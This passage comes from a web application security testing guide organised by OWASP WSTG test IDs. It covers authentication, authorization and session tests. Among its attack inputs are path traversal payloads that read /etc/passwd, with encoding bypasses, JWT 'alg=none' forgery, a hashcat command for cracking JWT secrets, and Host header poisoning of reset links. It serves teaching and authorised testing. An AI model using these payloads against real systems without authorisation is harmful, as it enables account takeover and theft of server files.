username=admin&password=MySecretP@ss!
```

The key indicator is that the entire transaction occurred over **HTTPS**, which you confirmed in the browser and the request line in your proxy.

We have now confirmed that the application is not leaking credentials over the network. The next logical area to investigate is the "Remember Me" functionality, which often has its own set of vulnerabilities.

Activity 4.5: Test for Vulnerable "Remember Me" Functionality

Sub-heading: `WSTG-ATHN-05 - Testing for Vulnerable Remember Password`

Objective: To analyze the implementation of the "Remember Me" feature to ensure it is secure. A vulnerable implementation could allow an attacker who steals the "Remember Me" cookie to gain persistent, long-term access to the user's account.

Pre-conditions:

- A valid user account.

- A web proxy like Burp Suite to inspect cookies.

Impact:

- **High Risk:** If the "Remember Me" cookie is predictable, contains sensitive information, or is not properly invalidated, an attacker who obtains it (e.g., through a separate XSS attack or by having physical access to the browser) can impersonate the user indefinitely, even if the user changes their password.

Method: Analyze the "Remember Me" Cookie

1. **Log Out and Clear Cookies:** Ensure you have a clean session before you begin.
2. **Capture the Login:**
 - Start your proxy (Burp Suite).
 - Navigate to the login page, enter valid credentials, and **check the "Remember Me" box**.
 - Click "Login".
3. **Inspect the Response:**
 - Find the login response in Burp Suite's "Proxy" -> "HTTP history". This is the `POST /login` request.
 - Look at the `Set-Cookie` headers in the server's response. You will likely see a standard session cookie and a separate, long-lived cookie for the "Remember Me" functionality (e.g., `remember_me`, `persistent_token`, `rm_id`).
4. **Decode and Analyze the Cookie:**
 - Copy the value of the "Remember Me" cookie.
 - Go to the **Burp Suite Decoder** tab. Paste the value.
 - Use the "Decode as..." options to check for common encoding schemes like **Base64** or **URL**.
 - Ask these key questions:
 - **What data does it contain?** Does it decode to something sensitive, like `username:password` or just the `user_id`?
 - **Is it predictable?** Register two different users and compare their "Remember Me" tokens. Are they sequential (e.g., `1001`, `1002`)?
 - **Does it expire upon logout?** Log out of the application. Then, use Burp Repeater to replay a request to an authenticated page, manually adding the "Remember Me" cookie you captured. If you get a `200 OK` response, the cookie was not invalidated and is reusable.

Unsuccessful Response (Vulnerable Implementation):

The cookie contains easily decodable sensitive information.

- **Server Response Header:**
HTTP

```
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: remember_me=YWRtaW46cGFzc3dvcmQxMjM=; Expires=Sat, 13 Oct 2026
12:00:00 GMT; HttpOnly
```

- **Analysis in Burp Decoder:**

- The value `YWRtaW46cGFzc3dvcmQxMjM=` is pasted into the decoder.
- "Decode as Base64" reveals the plaintext:

```
admin:password123
```

This is a **critical** vulnerability. An attacker with this cookie now has the user's password.

Successful Response (Secure Implementation):

The cookie is a long, high-entropy, random string that is meaningless on its own. It is a "series and token" model.

- **Server Response Header:**

HTTP

```
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie:
remember_me=7a1b9c2d3e4f5a6b7c8d9e0f1a2b3c4d:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6;
Expires=Sat, 13 Oct 2026 12:00:00 GMT; HttpOnly
```

- **Analysis:** This value does not decode to anything meaningful. It is a random token that is securely associated with the user's account in the server's database. When the user logs out, this specific token should be deleted from the database, rendering it useless.

We have now tested the main login flow and persistent sessions. The next logical step is to analyze the security of the authorization process to ensure users can only access what they are permitted to.

Browser-Side Data Storage Flaws

Activity 4.6: Test Browser Cache for Sensitive Data

Main Heading: `WSTG-ATHN-06 - Testing for Browser Cache Weaknesses`

Objective: To ensure that sensitive, user-specific information (like personal data, financial details, or session-specific content) is not stored in the browser's cache. If it is, another person with access to the same computer could use the browser's back button or inspect the cache to view the previous user's private data, even after they have logged out.

Core Concept Explained:

Web applications must explicitly instruct the browser not to cache sensitive pages. This is done using specific HTTP response headers. The absence of these headers can lead to sensitive information being stored on the user's local disk.

The Key Headers:

- `Cache-Control: no-store, no-cache, must-revalidate`
- `Pragma: no-cache`
- `Expires: 0`

Methodology:

1. **Log in** to the application.
2. **Navigate** to a page containing sensitive, user-specific information (e.g., "My Profile," "Order History," "Account Details").
3. **Intercept the Response:** Use Burp Suite or your browser's developer tools to inspect the HTTP response headers for this page. Verify that the `Cache-Control` and `Pragma` headers are present and correctly configured as above.
4. **Log Out** of the application.
5. **Test the Back Button:** From the logout page, click the browser's "Back" button.
6. **Inspect the Cache (Advanced):** In Firefox, you can navigate to `about:cache` to inspect the disk cache entries and see if the sensitive page content was stored.

Unsuccessful Response (Vulnerable Application):

When you click the "Back" button after logging out, the browser renders the sensitive page from its cache, displaying all of your private information. This is definitive proof of the vulnerability.

Successful Response (Secure Application):

After clicking "Back," the browser either shows an error message like "Document Expired," displays a blank page, or correctly redirects you to the login page. This confirms the page was not stored in the cache.

Activity 4.7: Test for Authentication Schema Bypass

Main Heading: `WSTG-ATHN-04 - Testing for Bypassing Authentication Schema`

Objective: To identify logical flaws in the application's state machine that could allow an attacker to access privileged functionality without being properly authenticated.

Methodology:

This test is highly application-specific and relies on creative thinking.

1. **Forced Browsing to Authenticated Pages:** The most basic test. Copy the URL of a page that should require a login (e.g., `/account/dashboard`). Log out, then try to paste that URL directly into your browser.
2. **Parameter Manipulation:** After initiating a login, if the application redirects you with a parameter (e.g., `login.php?auth_step=2`), try skipping directly to the final step (`login.php?auth_step=final`).
3. **Manipulate Cookies:** If you see a cookie like `isLoggedIn=false` or `auth_status=unauthenticated`, try manually changing its value to `true` or `authenticated` in your browser's developer tools and then request a privileged page.

Unsuccessful Response (Vulnerable Application):

The application grants you access to the authenticated page or function, indicating a severe flaw in its state management.

Successful Response (Secure Application):

The application correctly detects that you do not have a valid session and consistently redirects you to the login page.

Activity 4.8: Test for Weaker Authentication in an Alternative Channel

Main Heading: `WSTG-ATHN-10 - Testing for Weaker Authentication in Alternative Channel`

Objective: To identify situations where an application enforces strong security controls on its primary interface (e.g., the web application) but has a weaker, parallel channel (e.g., a mobile API, a legacy SOAP endpoint, a customer support portal) that can be abused to bypass those controls.

Core Concept Explained:

Security is only as strong as its weakest link. Attackers will always probe the entire attack surface. For example, a web application might require Multi-Factor Authentication (MFA) for a password reset, but the mobile API endpoint for the same function might only require the user's password, creating a bypass.

Impact:

- **High Risk:** 🚩 This flaw can completely undermine the application's strongest security features (like MFA), allowing for account takeover through a less-defended entry point.

Methodology:

1. **Map All Channels:** Identify every single way a user can interact with their account. This includes the main web app, any mobile apps (iOS/Android), marketing subdomains, third-party integrations, and customer support mechanisms.
2. **Analyze a Key Function:** Choose a critical, high-security function, such as "Change Password" or "Update Email Address."

3. **Perform the Action on the Strongest Channel:** Execute the password change on the main web application and observe the security controls (e.g., it requires MFA, asks for the old password, sends a notification email).
4. **Attempt the Action on a Weaker Channel:** Now, try to perform the exact same action by directly calling the mobile API endpoint (which you can capture with a proxy like Burp Suite). Does the API enforce the same stringent checks? Does the customer support portal allow a support agent to change a user's password with minimal identity verification?

Unsuccessful Response (Vulnerable Application):

You successfully change the user's password via the mobile API endpoint without having to provide an MFA token, proving that the mobile channel has weaker security controls than the web channel.

Successful Response (Secure Application):

All channels (web, mobile, etc.) are routed through the same centralized, secure business logic. The mobile API correctly rejects your request and returns an error like `{"error": "MFA token required"}`, enforcing the same security policy everywhere.

Activity 4.9: Test Password Reset and Recovery Functionalities

Main Heading: `WSTG-ATHN-09 - Testing for Weak Password Change or Reset Functionalities`

Objective: To exploit logical flaws in the password reset mechanism that could allow an attacker to reset another user's password.

Core Concept Explained:

The most common flaw is improper token validation. A secure process generates a long, random, single-use token and ties it to the specific user who requested the reset. A vulnerable application might create a predictable token or fail to validate that the user completing the reset is the one who initiated it.

Methodology:

1. **Initiate Two Resets:** Request a password reset for `attacker@example.com` and, in a separate browser, for `victim@example.com`.
2. **Analyze the Tokens:** Look at the reset links sent to both emails. Are the tokens sequential or predictable?
3. **Attempt Token Hijacking:** Take the valid token sent to the attacker's email and try to use it in the victim's password reset flow. For example, if the reset page is `https://example.com/reset?token=<TOKEN>&user=victim`, try to access it with the attacker's token.
4. **Test Host Header Poisoning:** Intercept the password reset request. Change the `Host` header to `attacker-controlled-site.com`. If the application uses the Host header to build the reset link, the victim will receive an email with a link that sends their reset token to the attacker's server.

Unsuccessful Response (Vulnerable Application):

The application allows you to use the attacker's token to reset the victim's password. This proves the token is not correctly tied to the user identity.

Activity 4.10: Test for Weak Security Questions

Main Heading: WSTG-ATHN-08 - Testing for Weak Security Question, Answer

Objective: To bypass account recovery mechanisms by guessing or discovering the answers to weak security questions.

Methodology:

1. **Enumerate Security Questions:** For a target user, initiate the account recovery process to see what questions the application asks.
2. **Assess Question Strength:** Are the questions from a short, predefined list (e.g., "What city were you born in?") or are they user-defined? Predefined questions are often weak.
3. **Perform Open-Source Intelligence (OSINT):** For weak questions, attempt to find the answers publicly. Search the target's social media profiles (Facebook, LinkedIn, etc.), public records, or other online sources for information like their hometown, mother's maiden name, first pet's name, etc.
4. **Test for Brute-Force Protection:** Attempt to answer the question with multiple incorrect guesses. Does the application lock the account after a small number of failures (e.g., 3-5)?

Unsuccessful Response (Vulnerable Application):

You successfully find the answer to the security question through OSINT and use it to reset the user's password. Alternatively, the application allows an unlimited number of guesses, allowing you to brute-force the answer.

Successful Response (Secure Application):

The application encourages or enforces strong, user-defined, non-public questions. A robust account lockout mechanism is in place that prevents brute-force guessing.

Phase 5: Authorization Testing

Main Heading: WSTG-AUTHZ - Authorization Testing

Objective: To ensure that users can only access the functions and data that they are explicitly permitted to access. A failure in authorization can allow a low-privilege user to access administrative functions or a user to view, modify, or delete another user's private data. This is different from authentication, which is only about verifying a user's identity.

Activity 5.1: Test for Insecure Direct Object References (IDOR)

Sub-heading: WSTG-AUTHZ-04 - Testing for Insecure Direct Object References (also known as Broken Access Control)

Objective: To determine if the application allows a user to access resources (like documents, user profiles, records) belonging to another user simply by changing an identifier in a URL or request parameter. The application fails to check if the logged-in user is actually authorized to access the requested object.

Pre-conditions:

- Access to at least two different user accounts. Let's call them `UserA` and `UserB`. Ideally, one should have higher privileges (e.g., an admin).
- A web proxy like Burp Suite to easily modify requests.

Impact:

- **Critical Risk:** 🌟 This is one of the most common and damaging web vulnerabilities. A successful IDOR attack can lead to a complete compromise of all user data, allowing an attacker to read, modify, or delete any information in the system (e.g., viewing any user's private messages, changing their password, or accessing their order history).

Method: Parameter Manipulation

1. **Log in as** `UserA` and browse the application.
2. **Identify Direct References:** Look for any place where the application uses an ID to fetch data. The most common place is in the URL's query string.
 - `https://example.com/profile?user_id=101`
 - `https://example.com/orders/view/550`
 - `https://example.com/api/v1/get_document?doc_id=78`
3. **Capture the Request:** Use Burp Suite to intercept a request where `UserA` is accessing their own resource. For example, a request to `/profile?user_id=101`. Send this request to **Burp Repeater**.
4. **Modify the Identifier:** In Repeater, change the identifier to one that belongs to your other test account, `UserB`. For example, if you know `UserB`'s ID is `102`, change the parameter:
 - Change `user_id=101` to `user_id=102`
5. **Send the Request and Analyze:** Forward the modified request. The server's response will determine if it's vulnerable.

Unsuccessful Response (Vulnerable Application):

The server returns `UserB`'s private data, even though the request was made using `UserA`'s session cookie. The server only checked for a valid session, not for ownership of the resource.

- **Request from** `UserA`'s session:

HTTP

```
GET /profile?user_id=102 HTTP/1.1
Host: example.com
Cookie: sessionID=UserA_Session_Cookie_Here
```

- **Server's Vulnerable Response:**

HTTP

```
HTTP/1.1 200 OK
Content-Type: text/html

<h1>Profile for UserB</h1>
<p>Email: userb_private_email@example.com</p>
<p>Address: 123 Victim Lane</p>
```

This is a clear confirmation of an IDOR vulnerability.

Successful Response (Secure Application):

The server correctly denies the request because UserA is not authorized to view user_id=102.

- **Request from `UserA`'s session:**

HTTP

```
GET /profile?user_id=102 HTTP/1.1
Host: example.com
Cookie: sessionID=UserA_Session_Cookie_Here
```

- **Server's Secure Response:**

HTTP

```
HTTP/1.1 403 Forbidden
Content-Type: text/html

<h1>Access Denied</h1>
<p>You are not authorized to view this resource.</p>
```

Any response other than `200 OK` with the victim's data (e.g., `403 Forbidden`, `401 Unauthorized`, or a redirect to the login page) is typically a sign of a secure implementation.

IDOR is a foundational authorization test. The next logical step is to test for privilege escalation.

Activity 5.2: Test for Privilege Escalation

Sub-heading: `WSTG-AUTHZ-03 - Testing for Privilege Escalation`

Objective: To verify that a low-privilege user cannot access functions or features that should be reserved for high-privilege users (e.g., administrators). This is often caused by the application checking for authentication but failing to check for the user's *role* or *permission level* before granting access to a sensitive function.

Pre-conditions:

- You need two accounts with different privilege levels: a **low-privilege user** (e.g., `UserA`) and an **admin user** (e.g., `AdminB`).
- A web proxy to monitor traffic and easily replay requests.

Impact:

- **Critical Risk:** 🌟 A successful privilege escalation attack effectively hands over administrative control of the application to a regular user. This can lead to the compromise of all user data, application defacement, and a complete loss of integrity and confidentiality.

Method: Forced Browsing to Admin Functions

This method involves trying to directly access administrative URLs while authenticated as a standard user.

1. **Map Admin Functionality:** Log in as your high-privilege user (`AdminB`) and browse all available administrative functions. As you browse, your proxy (Burp Suite) will populate the "Target" -> "Site map" with all the admin URLs. Common examples include:
 - `/admin/dashboard.php`
 - `/admin/view_all_users.php`
 - `/api/v1/users/delete?user_id=101`
 - `/admin/settings`
2. **Log in as the Low-Privilege User:** Log out of the admin account and log back in as your standard user (`UserA`).
3. **Attempt Direct Access:** Now, using your standard user's session, attempt to access the admin URLs you discovered in step 1. You can do this in two ways:
 - **Manually:** Paste the admin URL directly into your browser's address bar.
 - **Using Burp Repeater (Recommended):** Find a standard request from `UserA`'s session in your proxy history. Send it to Repeater. Now, in Repeater, change the `GET` path to one of the admin URLs (e.g., change `GET /my-profile` to `GET /admin/view_all_users.php`). Send the request.
4. **Analyze the Response:** The server's response will tell you if the application is vulnerable.

Unsuccessful Response (Vulnerable Application)

The server grants access to the administrative function, returning a `200 OK` response with the sensitive admin page content, even though the request was made with a standard user's session cookie.

- **Request from `UserA`'s session:**

HTTP

```
GET /admin/view_all_users.php HTTP/1.1
Host: example.com
Cookie: sessionID=UserA_Standard_Session_Cookie
```

- **Server's Vulnerable Response:**

HTTP

```
HTTP/1.1 200 OK
Content-Type: text/html

<h1>User Management</h1>
<table>
  <tr><th>ID</th><th>Username</th><th>Email</th></tr>
  <tr><td>101</td><td>UserA</td><td>usera@example.com</td></tr>
  <tr><td>102</td><td>UserB</td><td>userb@example.com</td></tr>
  <tr><td>103</td><td>AdminB</td><td>adminb@example.com</td></tr>
</table>
```

This is a clear privilege escalation vulnerability.

Successful Response (Secure Application)

The server correctly checks the user's role and denies access to the administrative function.

- **Request from `UserA`'s session:**

HTTP

```
GET /admin/view_all_users.php HTTP/1.1
Host: example.com
Cookie: sessionID=UserA_Standard_Session_Cookie
```

- **Server's Secure Response:**

HTTP

```
HTTP/1.1 403 Forbidden
Content-Type: text/html

<h1>Access Denied</h1>
<p>You do not have sufficient privileges to access this page.</p>
```

Receiving a `403 Forbidden`, `401 Unauthorized`, or a redirect to the login page confirms that the authorization check is working correctly.

This completes the core tests for authorization. We have confirmed that users can't access data or functions they are not supposed to. The next phase is to analyze the security of the session tokens that manage the user's logged-in state.

Activity 5.3: Exploiting JSON Web Token (JWT) Vulnerabilities

Objective: To identify and exploit common implementation flaws in JSON Web Tokens. JWTs are a standard for securely transmitting information between parties as a JSON object, but they are often implemented insecurely.

Core Concept Explained:

A JWT consists of three parts separated by dots: `Header.Payload.Signature`.

- **Header:** Contains the algorithm (`alg`) used for the signature.
- **Payload:** Contains the claims (data), such as `userId`, `role`, and expiration time (`exp`).
- **Signature:** A cryptographic signature to verify the integrity of the header and payload.

The most common mistake is that the server **trusts the data in the payload before properly verifying the signature**.

Impact:

- **Critical Risk:** 🚩 A successful JWT attack can lead to **full privilege escalation**. An attacker can modify the payload to change their `userId` to another user's or, more commonly, change their `role` claim from `"user"` to `"admin"`.

Methodology: Attacking the JWT Signature Verification

1. **Capture a JWT:** Log in to the application and capture the `Authorization: Bearer <JWT>` header in Burp Suite.
2. **Decode the JWT:** Send the JWT to the "Decoder" tab in Burp or use an online tool like `jwt.io` to view the header and payload in plaintext (they are only Base64 encoded, not encrypted).
3. **Test for the `alg=none` Vulnerability:** This is the most infamous JWT flaw. The attacker modifies the header to specify that no signature algorithm is used.
 - In Burp's Repeater, change the header part of the JWT. The Base64 encoded string for `{"alg": "none"}` is `eyJhbGciOiJub25lIn0`.
 - Modify the payload to escalate your privileges (e.g., change `{"role": "user"}` to `{"role": "admin"}`). Re-encode the modified payload.
 - **Crucially, remove the entire signature part of the token.** Your new token should look like: `eyJhbGciOiJub25lIn0.<modified_payload>`. (note the trailing dot).

- Send this modified JWT in the `Authorization` header.
- **Vulnerable Response:** The server grants you access to an admin function, proving it accepted a token with no signature.

4. **Test for Weak Secret (Brute-Force):** If the JWT is signed with a symmetric algorithm like `HS256`, the signature is created using a shared secret key. If this key is weak or guessable (e.g., `secret`, `password`, `123456`), you can crack it.

- Use a tool like `hashcat` with a good wordlist against the captured JWT.

```
hashcat -m 16500 <jwt_token> /path/to/wordlist.txt
```

- If you crack the secret, you can now use it to sign any payload you want, effectively minting your own valid admin tokens.

Activity 5.4: Test for Path Traversal / File Inclusion

Main Heading: `WSTG-AUTHZ-01 - Testing Directory Traversal File Include`

Objective: To access files and directories that are stored outside the web root folder. By manipulating file paths with `../` sequences, an attacker can navigate the server's file system and read arbitrary files, including application source code, configuration files, and system credentials.

Core Concept Explained:

This flaw occurs when an application uses user-supplied input to build a path to a file that it will read or include. If the application doesn't properly sanitize this input, an attacker can inject path traversal sequences to "walk up" the directory tree.

Impact:

- **Critical Risk:** 🚩 A successful path traversal attack can lead to a full compromise of the server. An attacker can **read sensitive files like** `/etc/passwd`, download the application's **source code** to find other vulnerabilities, and access **configuration files containing database credentials or API keys**.

Methodology:

1. **Identify Vectors:** Look for any URL parameter that appears to reference a file or a page template.
 - `https://example.com/show?page=contact.html`
 - `https://example.com/download?file=report.pdf`
 - `https://example.com/?view=main.php`
2. **Inject Traversal Payloads:** Systematically inject `../` sequences to try and access a well-known system file.

- **Basic Payload:** `../../../../../../etc/passwd` (The number of `../` is to ensure you get to the root directory from any starting point).

- **Example URL:** `https://example.com/show?page=../../../../etc/passwd`

3. **Bypass Filters:** If a basic payload is blocked, try common bypass techniques.

- **URL Encoding:** `..%2f` for `../` or double URL encoding `..%252f`.
- **Non-standard Encoding:** `..\|` or `..\|`.
- **Path Truncation:** `../../../../etc/passwd%00.jpg` (The null byte `%00` might terminate the string before the expected `.jpg` extension is appended by the server).

Unsuccessful Response (Vulnerable Application):

The server responds with the content of the requested system file (`/etc/passwd`).

```
HTTP/1.1 200 OK
Content-Type: text/plain

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

Successful Response (Secure Application):

The application validates the path, detects the malicious sequence, and either returns an error or serves the default page.

Activity 5.5: Test for Bypassing Authorization Schema

Main Heading: `WSTG-AUTHZ-02 - Test for Bypassing Authorization Schema`

Objective: Our objective is to find and exploit logical flaws in the authorization process that would allow us to access privileged functions or data without proper permissions.

Core Concept Explained:

This is a broad category that encompasses multiple techniques, including forced browsing to admin pages and parameter manipulation. The core flaw is that the application authenticates a user but then fails to perform a fine-grained authorization check when they try to access a specific resource or function. The server correctly answers "Who are you?" but fails to answer "Are you allowed to do this?"

Impact:

- **Critical Risk:** A successful bypass of the authorization schema can lead to a full privilege escalation. A standard user could gain the ability to view all user data, modify application settings, or perform any other administrative action.

Tooling:

- Burp Suite

Methodology:

1. **Map as a Privileged User:** We first log in as a high-privilege user and map all of the administrative functions and API endpoints.
2. **Forced Browsing:** We log in as a low-privilege user and then attempt to directly browse to the administrative URLs we discovered in the previous step.
3. **Parameter Manipulation:** We analyze requests made by the low-privilege user. If we see a parameter like `role=user`, we use Burp Repeater to change it to `role=admin` and see if the server grants us additional privileges.
4. **Verb Tampering:** We test if an endpoint that is protected for a `GET` request might be unprotected for a `POST` request.

Unsuccessful Response (Vulnerable Application):

We are logged in as a standard user, but when we directly browse to `/admin/user-management.php`, the server returns a `200 OK` response with the full user management page. This is a classic forced browsing vulnerability.

```
GET /admin/user-management.php HTTP/1.1
Host: vulnerable-site.com
Cookie: sessionID=standard_user_session

HTTP/1.1 200 OK
Content-Type: text/html

<h1>User Management Panel</h1>
... (full admin page content) ...
```

Successful Response (Secure Application):

The server correctly checks our role for every request. When we attempt to access the admin page, it properly denies access with a `403 Forbidden` error.

Phase 6: Session Management Testing

Main Heading: `WSTG-SESS - Session Management Testing`

Objective: To ensure that the session tokens (usually cookies) that identify a logged-in user are generated, managed, and invalidated securely. Weak session management can allow an attacker to hijack a valid user's session, gaining complete access to their account without needing a password.

Activity 6.1: Test Cookie Attributes

Sub-heading: WSTG-SESS-02 - Testing for Cookie Attributes

Objective: To inspect the security attributes of the session cookie to ensure they are configured to protect against common attacks like Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).

Pre-conditions:

- A valid user account.
- A web proxy or browser developer tools to inspect HTTP headers.

Impact:

- **High Risk (Missing `HttpOnly`):** If this flag is missing, the cookie can be accessed by client-side JavaScript. A simple XSS attack could then steal the cookie and send it to an attacker.
- **High Risk (Missing `Secure`):** If this flag is missing, the browser may send the cookie over an unencrypted HTTP connection, allowing a network attacker to intercept it.
- **Medium Risk (Weak `SameSite`):** A weak or missing `SameSite` attribute can make the application vulnerable to CSRF attacks, where an attacker tricks a user into performing actions they didn't intend to.

Method: Inspecting the `Set-Cookie` Header

1. Log in to the application.
2. In your browser's Developer Tools, go to the **"Network"** tab, find the login request, and look at the **"Response Headers"**.
3. Alternatively, find the login response in Burp Suite's "Proxy" -> "HTTP history".
4. Locate the `Set-Cookie` header for the session cookie (e.g., `sessionID`, `JSESSIONID`).
5. Check for the presence and correct configuration of these key attributes:
 - `HttpOnly`: Should be present.
 - `Secure`: Should be present.
 - `SameSite`: Should be set to `Strict` (most secure) or `Lax`.
 - `Path`: Should be set to a specific path (e.g., `/app`) rather than `/` if possible, to limit the scope.

Unsuccessful Response (Vulnerable Configuration):

The Set-Cookie header is missing critical security flags.

HTTP

```
HTTP/1.1 200 OK
```

```
...
```

```
Set-Cookie: sessionId=a1b2c3d4e5f6; path=/
```

In this example, the cookie is missing `HttpOnly`, `Secure`, and `SameSite`, making it highly vulnerable.

Successful Response (Secure Configuration):

All necessary security attributes are present and correctly configured.

HTTP

```
HTTP/1.1 200 OK
```

```
...
```

```
Set-Cookie: sessionId=a1b2c3d4e5f6; path=/; HttpOnly; Secure; SameSite=Strict
```

Activity 6.2: Test for Session Fixation

Sub-heading: WSTG-SESS-03 - Testing for Session Fixation

Objective: To verify that the application generates a new session cookie after a user successfully authenticates. If it continues to use the same session cookie that was issued *before* login, an attacker can "fix" a victim's session ID and hijack their account.

Pre-conditions:

- Access to the login page.

Impact:

- **Critical Risk:** 🌟 An attacker can send a link to a victim containing a specific session ID. The victim clicks the link, logs in, and the application ties their authenticated session to the attacker's "fixed" ID. The attacker can then use that same ID to access the victim's account.

Method: Compare Session IDs Before and After Login

1. **Get Pre-Authentication Session:** Open a new private browsing window, turn on your proxy, and navigate to the login page.
2. In Burp Suite's history, find the request to the login page and look at the `Set-Cookie` response header. Note the value of the session cookie (e.g., `sessionId=pre-auth-cookie-value`).
3. **Log In:** On the same page, enter valid credentials and log in.
4. **Get Post-Authentication Session:** Look at the response to the successful login request. Inspect the `Set-Cookie` header again.
5. **Compare the values.** Are they the same?

Unsuccessful Response (Vulnerable Application):

The session cookie value is identical before and after logging in.

- **Before Login:**

Set-Cookie: JSESSIONID=0000a1b2c3d4e5f6.node1

- **After Login:**

The server does not issue a new Set-Cookie header, or it sets the same value again. The application is vulnerable.

Successful Response (Secure Application):

The application issues a completely new, random session cookie after successful authentication.

- **Before Login:**

Set-Cookie: JSESSIONID=0000a1b2c3d4e5f6.node1

- **After Login:**

Set-Cookie: JSESSIONID=0000x9y8z7w6v5.node1; path=/; HttpOnly; Secure

The cookie value has changed, which means the application is correctly regenerating the session token and is not vulnerable to session fixation.

Activity 6.3: Test Logout and Session Timeout Functionality

Main Heading: WSTG-SESS-06 & WSTG-SESS-07

Objective: To verify that logging out properly invalidates the session on the server-side, and that sessions automatically expire after a period of inactivity.

Methodology (Logout):

1. Log in and copy the value of your session cookie.
2. Click the "Logout" button.
3. Use Burp Repeater or your browser's developer tools to manually replay a request to an authenticated page, but re-insert the session cookie you copied in step 1.

Unsuccessful Response (Vulnerable Application):

The server grants you access. This proves that "logging out" only removed the cookie from your browser, but the session is **still active** on the server. Anyone who has stolen that cookie can reuse it until it expires.

Methodology (Timeout):

1. Log in to the application.
2. Note the current time.
3. Do not interact with the application at all for a specified period (e.g., 30 minutes).

4. After the time has elapsed, try to perform an authenticated action.

Unsuccessful Response (Vulnerable Application):

The action succeeds. This shows the session does not expire, making it much more valuable to an attacker who manages to steal it.

Successful Response (Secure Application):

In both tests, the server rejects the request and forces you to re-authenticate by redirecting you to the login page.

Activity 6.4: Testing for Session Puzzling

Objective: To exploit applications that use multiple session variables or cookies to manage a user's state inconsistently. The attack involves manipulating these variables to create a logical flaw, or "puzzle," where the application grants authenticated privileges to an unauthenticated session.

Core Concept Explained:

Consider an application that sets a cookie `is_logged_in=false` for all visitors. After a successful login, it sets a *second* cookie, `session_id=...`, but fails to update or remove the first one. Session Puzzling occurs if some parts of the application only check for a valid `session_id` while other parts might still be influenced by the now-contradictory `is_logged_in=false` state.

Methodology: Manipulating State Variables

- 1. Map All Session Variables:** Log in and out of the application multiple times, using a clean browser session each time. In Burp Suite's history, carefully document every cookie and session variable set by the server at each stage (pre-auth, post-auth, logout).
- 2. Identify Inconsistencies:** Look for variables that are not properly cleaned up after a state change.
- 3. Craft the Attack:** Let's assume you found the `is_logged_in` and `session_id` cookies from the example above.
 - Log in to the application normally to obtain a valid `session_id`. Copy its value.
 - Log out. The server should invalidate the `session_id`, but you still have its value.
 - Visit the login page again to get a fresh `is_logged_in=false` cookie.
 - Now, use Burp Repeater to manually replay a request to an authenticated area of the site. In this request, include **both** cookies: the valid `session_id` you copied earlier and the fresh `is_logged_in=false` cookie.

Unsuccessful Response (Vulnerable Application):

The application has a component that checks for the valid `session_id` first, grants access, and then another component incorrectly processes the `is_logged_in=false` flag, leading to unexpected behavior that can be exploited. For example, it might let you view a user dashboard but then prompt you to

associate your "new" (unauthenticated) session with an email address, potentially allowing you to overwrite the email of the user whose session you hijacked.

Successful Response (Secure Application):

The application has a centralized and strict state machine. It correctly determines that the `session_id` is invalid (because you logged out) and immediately redirects you to the login page, ignoring any other contradictory session flags.

Activity 6.5: Test for Session Management Schema

Main Heading: `WSTG-SESS-01 - Test for Session Management Schema`

Objective: Our goal is to analyze the entire session management lifecycle, from token generation to invalidation, to ensure it is implemented securely and without logical flaws.

Core Concept Explained:

This is a holistic review of how the application handles sessions. A secure session management schema ensures that session tokens are:

- **Long and Random:** Not predictable or guessable.
- **Securely Transmitted:** Sent only over HTTPS with secure cookie flags.
- **Properly Invalidated:** Fully invalidated on the server-side during logout.
- **Renewed on Privilege Change:** A new token is generated upon login (to prevent session fixation).

Impact:

- **Critical Risk:** Flaws in the session management schema can lead directly to session hijacking. If a token is predictable, an attacker can guess another user's session. If it's not invalidated properly, a stolen token can be re-used indefinitely.

Tooling:

- Burp Suite (especially the Sequencer tool)
- Browser Developer Tools

Methodology:

1. **Analyze Token Generation:** We capture several session tokens and send them to Burp Sequencer to analyze their randomness. A high-quality token will have a very high degree of entropy.
2. **Check Cookie Attributes:** We inspect the `Set-Cookie` header to ensure the `HttpOnly`, `Secure`, and `SameSite` flags are properly set.
3. **Test for Session Fixation:** We obtain a session token *before* logging in, then log in, and check if the application issues a brand new token. If it continues to use the pre-login token, it is vulnerable.

4. **Test Logout Functionality:** We log in, copy the session token, log out, and then use Burp Repeater to replay a request with the old token to see if it is still valid.

Unsuccessful Response (Vulnerable Application):

Burp Sequencer reports that the session tokens have a low level of randomness, indicating they may be predictable. Additionally, after logging out, we successfully re-use the old session token to access a protected page, proving a logout invalidation flaw.

Successful Response (Secure Application):

Burp Sequencer confirms the session tokens are generated with a high degree of entropy. All secure cookie flags are present. A new token is issued upon login, and old tokens are immediately invalidated on the server-side after logout.

Activity 6.6: Test for Exposed Session Variables

Main Heading: WSTG-SESS-04 - Test for Exposed Session Variables

Objective: Our goal is to discover if any sensitive information is being stored within the session token itself, rather than being stored server-side and referenced by a random identifier.

Core Concept Explained:

A secure session token should be an opaque, random string. It is simply an ID that the server uses to look up the real session data (like `userId` and `role`) in its own database. A vulnerable application might instead encode the session data directly into the cookie, for example:

`session=dXNlcklEPTI0JnJvbGU9dXNlcg==`. An attacker who can decode this can see and potentially manipulate the session variables.

Impact:

- **High Risk:** If session variables like `role` or `userId` are exposed in the cookie, an attacker can attempt to manipulate them. For example, they could change `role=user` to `role=admin`, re-encode it, and submit the cookie back to the server to attempt a privilege escalation attack.

Tooling:

- Burp Suite Decoder
- JWT.io (for JSON Web Tokens)

Methodology:

1. **Capture the Session Token:** We log in and capture the session cookie.
2. **Attempt to Decode:** We send the token to Burp Decoder and apply common encoding schemes like Base64 and URL encoding.
3. **Analyze the Content:** We examine the decoded content. Does it contain structured data like JSON, key-value pairs, or serialized objects?

4. **Check for JWTs:** If the token has two or three parts separated by dots, it is a JSON Web Token (JWT). We can use JWT.io to decode the header and payload and inspect the claims.

Unsuccessful Response (Vulnerable Application):

The session cookie is a Base64-encoded string that decodes to reveal sensitive, user-modifiable session variables.

Original Cookie: `session=eyJ1c2VySWQiOiAxMjMsICJpc0FkbWluIjogZmFsc2V9`

Decoded in Burp:

```
{"userId": 123, "isAdmin": false}
```

This is a critical finding, as we can now attempt to change `isAdmin` to `true`, re-encode it, and submit the cookie.

Successful Response (Secure Application):

The session cookie is a long, high-entropy random string that does not decode to any meaningful data. It is an opaque identifier that points to session data stored securely on the server.

Activity 6.7: Test for Session Hijacking

